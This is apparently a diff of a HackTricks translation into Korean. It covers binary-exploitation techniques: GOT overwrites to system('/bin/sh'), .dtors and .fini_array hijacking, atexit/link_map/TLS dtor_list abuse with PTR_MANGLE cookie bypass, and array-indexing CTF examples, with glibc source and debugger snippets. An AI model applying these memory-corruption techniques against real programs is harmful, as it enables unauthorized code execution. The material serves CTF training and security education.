또 다른 일반적인 기술은 **`strlen`** GOT 주소를 **`system`**을 가리키도록 덮어쓰는 것입니다. 따라서 이 함수가 사용자 입력으로 호출되면 문자열 `"/bin/sh"`를 전달하여 셸을 얻을 수 있습니다.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
게다가, `puts`가 사용자 입력과 함께 사용되면, `strlen` GOT 주소를 `system`을 가리키도록 덮어쓰고 문자열 `"/bin/sh"`를 전달하여 셸을 얻을 수 있습니다. 왜냐하면 **`puts`가 사용자 입력으로 `strlen`을 호출하기 때문입니다**.
## **One Gadget**
## **원가젯**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **힙에서 GOT 남용하기**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
힙 취약점에서 RCE를 얻는 일반적인 방법은 빠른 빈을 남용하여 GOT 테이블의 일부를 빠른 빈에 추가하는 것입니다. 따라서 해당 청크가 할당될 때 **함수의 포인터, 일반적으로 `free`를 덮어쓸 수 있습니다**.\
그런 다음 `free``system`으로 가리키고 `/bin/sh\x00`가 작성된 청크를 해제하면 셸이 실행됩니다.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
[**여기에서 예제를 찾을 수 있습니다**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
## **보호**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
**전체 RELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 그 후 **GOT 테이블을 읽기 전용**으로 만들어 이러한 종류의 기술을 방어하기 위해 설계되었습니다.
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## 참고문헌
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> 요즘은 **.dtors 섹션이 있는 바이너리를 찾는 것이 매우 이상합니다!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
소멸자는 프로그램이 **종료되기 전에 실행되는 함수**입니다 ( `main` 함수가 반환된 후).\
이 함수들의 주소는 바이너리의 **`.dtors`** 섹션에 저장되며, 따라서 **`__DTOR_END__`**에 **shellcode**의 **주소**를 **쓰기**에 성공하면, 프로그램이 종료되기 전에 그것이 **실행됩니다**.
이 섹션의 주소를 얻으려면:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
보통 **DTOR** 마커는 `ffffffff``00000000` 값 사이에 있습니다. 따라서 이 값들만 보인다면 **등록된 함수가 없다**는 의미입니다. 그러므로 **`00000000`**을 **실행할 shellcode의 주소**로 **덮어씌우세요**.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> 물론, 먼저 **shellcode를 저장할 장소를 찾아야** 나중에 호출할 수 있습니다.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
본질적으로 이것은 프로그램이 종료되기 전에 호출될 **함수들**로 구성된 구조체입니다. 이는 **`.dtors`**와 유사합니다. 주소로 점프하여 **shellcode를 호출**할 수 있거나, **취약점을 두 번째로 악용하기 위해 다시 `main`으로 돌아가야** 하는 경우에 흥미롭습니다.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
**`.fini_array`**에서 함수가 실행될 때 다음 함수로 이동하므로 여러 번 실행되지 않으며(영원한 루프 방지), 여기 배치된 함수는 1회만 실행됩니다.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
`.fini_array`의 항목은 **역순**으로 호출되므로 마지막 항목부터 작성하는 것이 좋습니다.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### 영원한 루프
#### Eternal loop
**`.fini_array`**를 악용하여 영원한 루프를 만들기 위해 [**여기서 수행된 작업을 확인할 수 있습니다**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** **`.fini_array`**에 최소 2개의 항목이 있는 경우:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- 첫 번째 쓰기를 사용하여 **취약한 임의 쓰기 함수**를 다시 호출합니다.
- 그런 다음, **`__libc_csu_fini`**에 의해 저장된 스택의 반환 주소를 계산하고 **`__libc_csu_fini`**의 **주소**를 그곳에 넣습니다.
- 이렇게 하면 **`__libc_csu_fini`**가 자신을 다시 호출하여 **`.fini_array`** 함수를 다시 실행하게 되며, 이는 취약한 WWW 함수를 2번 호출합니다: 하나는 **임의 쓰기**를 위해, 다른 하나는 스택에서 **`__libc_csu_fini`**의 반환 주소를 다시 덮어쓰고 자신을 다시 호출하기 위해서입니다.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** 섹션 **`.fini_array`**는 **읽기 전용**으로 설정됩니다.
> 최신 버전에서는 [**Partial RELRO**]가 있어도 섹션 **`.fini_array`**는 **읽기 전용**으로 설정됩니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,35 +5,34 @@
## **\_\_atexit Structures**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> 요즘 이걸 **악용하는 것은 매우 이상합니다!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`****다른 함수들이 매개변수로 전달되는** 함수입니다. 이 **함수들**은 **`exit()`** 또는 **main**의 **return**을 실행할 때 **실행됩니다**.\
만약 이 **함수들** 중 하나의 **주소**를 예를 들어 쉘코드로 가리키도록 **수정**할 수 있다면, **프로세스**를 **제어**할 수 있지만, 현재는 더 복잡합니다.\
현재 **실행될 함수들에 대한 주소**는 여러 구조 뒤에 **숨겨져** 있으며, 결국 가리키는 주소는 함수의 주소가 아니라 **XOR로 암호화**되고 **무작위 키**로 **변위**된 것입니다. 그래서 현재 이 공격 벡터는 **x86****x64_86**에서는 **그리 유용하지 않습니다**.\
**암호화 함수**는 **`PTR_MANGLE`**입니다. **m68k, mips32, mips64, aarch64, arm, hppa**와 같은 **다른 아키텍처**는 **암호화** 함수를 **구현하지 않으며**, 입력으로 받은 것과 **같은 값을 반환**합니다. 그래서 이러한 아키텍처는 이 벡터로 공격할 수 있습니다.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
이 작동 방식에 대한 자세한 설명은 [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)에서 확인할 수 있습니다.
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
[**이 게시물**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)에서 설명한 바와 같이, 프로그램이 `return` 또는 `exit()`를 사용하여 종료되면 `__run_exit_handlers()`가 실행되어 등록된 소멸자를 호출합니다.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> 프로그램이 **`_exit()`** 함수를 통해 종료되면, **`exit` syscall**을 호출하고 종료 핸들러는 실행되지 않습니다. 따라서 `__run_exit_handlers()`가 실행되는지 확인하려면 그 위에 중단점을 설정할 수 있습니다.
중요한 코드는 ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
`map -> l_addr + fini_array -> d_un.d_ptr`는 **호출할 함수의 배열**의 위치를 **계산**하는 데 사용됩니다.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
**몇 가지 옵션**이 있습니다:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- `map->l_addr`의 값을 덮어써서 **임의 코드를 실행할 지시가 있는 가짜 `fini_array`**를 가리키게 합니다.
- `l_info[DT_FINI_ARRAY]``l_info[DT_FINI_ARRAYSZ]` 항목(메모리에서 거의 연속적임)을 덮어써서 **위조된 `Elf64_Dyn`** 구조체를 가리키게 하여 **`array`가 공격자가 제어하는 메모리** 영역을 가리키게 합니다.&#x20;
- [**이 글**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell)은 `l_info[DT_FINI_ARRAY]``.bss`에 있는 제어된 메모리의 주소로 덮어써서 가짜 `fini_array`를 포함합니다. 이 가짜 배열은 **먼저** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **주소**를 포함하고, 그 다음에 이 **가짜 배열**의 주소와 `map->l_addr`의 **차이**를 포함하여 `*array`가 가짜 배열을 가리키게 합니다.
- 이 기술의 주요 게시물과 [**이 글**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet)에 따르면, ld.so는 ld.so의 이진 `link_map`을 가리키는 포인터를 스택에 남깁니다. 임의 쓰기를 통해 이를 덮어쓰고 공격자가 제어하는 가짜 `fini_array`를 가리키게 할 수 있으며, 예를 들어 [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)의 주소를 포함할 수 있습니다.
이전 코드에 따라 코드가 포함된 또 다른 흥미로운 섹션을 찾을 수 있습니다:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
이 경우 `map->l_info[DT_FINI]`의 값을 위조된 `ElfW(Dyn)` 구조체를 가리키도록 덮어쓸 수 있습니다. [**자세한 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## TLS-Storage dtor_list 덮어쓰기 in **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
[**여기에서 설명된 바와 같이**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), 프로그램이 `return` 또는 `exit()`를 통해 종료되면 **`__run_exit_handlers()`**가 실행되어 등록된 모든 소멸자 함수를 호출합니다.
_run_exit_handlers()의 코드:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
**`__call_tls_dtors()`**의 코드:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
각 등록된 함수에 대해 **`tls_dtor_list`**에서 **`cur->func`**의 포인터를 디망글링하고 **`cur->obj`**를 인수로 호출합니다.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
이 [**GEF의 포크**](https://github.com/bata24/gef)에서 **`tls`** 함수를 사용하면 실제로 **`dtor_list`**가 **스택 카나리**와 **PTR_MANGLE 쿠키**에 매우 **가깝다는** 것을 알 수 있습니다. 따라서 이를 오버플로우하면 **쿠키**와 **스택 카나리**를 **덮어쓸** 수 있습니다.\
PTR_MANGLE 쿠키를 덮어쓰면 **`PTR_DEMANLE` 함수**를 0x00으로 설정하여 우회할 수 있으며, 이는 실제 주소를 얻기 위해 사용되는 **`xor`**가 구성된 주소와 동일하다는 것을 의미합니다. 그런 다음 **`dtor_list`**에 쓰면 함수 **주소**와 그 **인수**로 여러 함수를 **체인**할 수 있습니다.
마지막으로 저장된 포인터는 쿠키와 xored될 뿐만 아니라 17비트 회전도 수행된다는 점에 유의하세요:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
새 주소를 추가하기 전에 이 점을 고려해야 합니다.
So you need to take this into account before adding a new address.
[**원본 게시물**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)에서 예를 찾아보세요.
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## **`__run_exit_handlers`**의 다른 망가진 포인터
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
이 기술은 [**여기에서 설명됩니다**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) 그리고 다시 프로그램이 **`return` 또는 `exit()`**을 호출하여 종료될 때 의존하므로 **`__run_exit_handlers()`**가 호출됩니다.
이 함수의 코드를 더 살펴보겠습니다:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
변수 `f`**`initial`** 구조체를 가리키며, `f->flavor`의 값에 따라 다른 함수가 호출됩니다.\
값에 따라 호출할 함수의 주소는 다른 위치에 있지만, 항상 **demangled** 상태입니다.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
또한, 옵션 **`ef_on`** 및 **`ef_cxa`**에서는 **인수**를 제어할 수도 있습니다.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
디버깅 세션에서 GEF가 실행 중일 때 **`gef> p initial`**로 **`initial` 구조체**를 확인할 수 있습니다.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
이를 악용하려면 **`PTR_MANGLE`** 쿠키를 **leak**하거나 지운 다음, `system('/bin/sh')`로 초기의 `cxa` 항목을 덮어써야 합니다.\
이와 관련된 예시는 [**기술에 대한 원래 블로그 게시물**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure)에서 찾을 수 있습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing
# 배열 인덱싱
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
이 카테고리는 배열의 인덱스 처리 오류로 인해 특정 데이터를 덮어쓸 수 있는 모든 취약점을 포함합니다. 이는 취약점의 조건에 완전히 의존하는 폭넓은 카테고리로, 특정한 방법론이 없습니다.
However he you can find some nice **examples**:
하지만 여기 몇 가지 멋진 **예제**를 찾을 수 있습니다:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- **주소**가 저장된 배열과 그 데이터의 **크기**를 가진 **2개의 충돌 배열**이 있습니다. 하나에서 다른 것으로 덮어쓸 수 있어, 크기로 표시된 임의의 주소를 쓸 수 있습니다. 이를 통해 GOT 테이블에서 `free` 함수의 주소를 쓰고, 이를 `system`의 주소로 덮어쓴 후 `/bin/sh` 메모리에서 free를 호출할 수 있습니다.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64비트, nx 없음. 크기를 덮어써서 모든 것이 두 배의 숫자로 사용되고 가장 작은 것부터 가장 큰 것까지 정렬되는 일종의 버퍼 오버플로우를 발생시킵니다. 따라서 그 요구 사항을 충족하는 쉘코드를 생성해야 하며, 카나리가 그 위치에서 이동하지 않도록 하고, 마지막으로 RIP를 ret 주소로 덮어씌워야 합니다. 이 주소는 이전 요구 사항을 충족하고, 가장 큰 주소는 스택의 시작을 가리키는 새로운 주소로 설정됩니다(프로그램에 의해 유출됨). 따라서 ret를 사용하여 그곳으로 점프할 수 있습니다.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64비트, relro 없음, 카나리, nx, pie 없음. 스택의 배열에서 오프 바이 원이 있어 포인터를 제어할 수 있습니다. WWW를 부여합니다(배열의 모든 숫자의 합을 덮어쓴 주소에 씁니다). 스택이 제어되므로 GOT의 `exit` 주소가 `pop rdi; ret`로 덮어쓰여지고, 스택에 `main`의 주소가 추가됩니다(다시 `main`으로 루프). 그런 다음 puts를 사용하여 GOT에 있는 주소를 유출하는 ROP 체인이 사용됩니다(`exit`가 호출되므로 `pop rdi; ret`가 호출되어 이 체인이 스택에서 실행됩니다). 마지막으로 ret2lib를 실행하는 새로운 ROP 체인이 사용됩니다.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32비트, relro 없음, 카나리 없음, nx, pie 없음. 잘못된 인덱싱을 악용하여 스택에서 libc와 힙의 주소를 유출합니다. 버퍼 오버플로우를 악용하여 `system('/bin/sh')`를 호출하는 ret2lib를 수행합니다(체크를 우회하기 위해 힙 주소가 필요합니다).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# 기본 이진 익스플로잇 방법론
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## ELF 기본 정보
